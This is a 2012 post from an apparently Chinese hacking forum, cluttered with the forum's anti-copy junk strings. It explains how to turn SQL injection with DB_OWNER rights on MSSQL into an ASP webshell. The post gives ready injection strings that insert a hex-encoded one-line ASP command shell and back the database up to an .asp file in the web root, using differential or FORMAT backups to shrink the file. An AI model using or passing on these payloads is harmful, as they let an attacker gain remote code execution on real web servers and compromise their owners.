找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2391|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:* ]* `0 h/ V* G) P: k& J) v' \( i7 M

: q5 [* a  T1 Y# J减少备份文件大小,得到可执行的webshell成功率提高不少
- p' U! {0 L% P. n一利用差异备份  r% L' t: j8 e) u  D7 p& f7 ~$ P8 N
加一个参数WITH DIFFERENTIAL: K" \1 s: |2 c$ Y% S
) X! E; f1 s* O! U5 Y9 \; g+ B
12 }  `* w; Z# A0 z+ r8 m
2
* d2 y" \6 _2 ]2 a/ v3 o+ o  r0 h+ B3
$ L0 M% D( v8 x$ k4
. L" p& F* I8 x6 b$ Y$ o1 y declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s4 r& u# f3 ~) F& J9 |
create table [dbo].[xiaolu] ([cmd] [image]);
* F, w/ R! O8 M( o+ O  m6 \9 Oinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
; `6 T1 A/ L# q3 ~$ a# hdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
# g- g3 y/ r+ n4 X' t6 s8 k, _
; e; a. v" g; w5 m  G4 ^二利用完全FORMAT
7 W7 D0 A/ w8 m4 H8 \, s8 J3 r加一个参数WITH FROMAT
0 [  v6 Y& I' D! w有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以! {) o( b: a. j; r- L* }

' \8 k/ Z* k0 `: S5 e( B6 O5 b1
6 {6 p( L8 s8 I4 O2) ^  _, ]! O4 Q% E- j
3
: r& E4 b7 E5 V4 M3 U0 G3 H' Q43 n- x9 i1 K: B+ r/ K3 D3 r4 T
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s* s* l4 b. }! ^6 ]' E
create table [dbo].[xiaolu] ([cmd] [image]);
# A( E" ~8 M( S- [( j. D. x- E) minsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)$ |' c# r  P! w
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
" I  z: L& p% ~; L& G/ E- F. a  ?0 Y9 d7 K% L  S' B# i9 Y
总的来说就是那么简单几句,下面以备份数据库model为例子1 }  N5 K6 `7 s9 Q* E9 s
10 q' M# P0 q4 k& q& f7 Y% X

8 |' {5 j7 y) E3 A6 t1
6 [0 C! H) n( N, ~, a; @0 X* I( q id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') & _5 J+ x( m- c: n; m
+ \% H" B" `8 Y& X, W) Y
2
/ h! G1 [4 V# Z0 r% z) v; {" `' X6 r# V. k5 B- ]
1! k& C5 E/ b) `: l8 p8 W9 ]
id=1;backup database model to disk='你的路径‘ with differential,format;--
4 J7 z. }" `! t- o: N+ |% R# z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表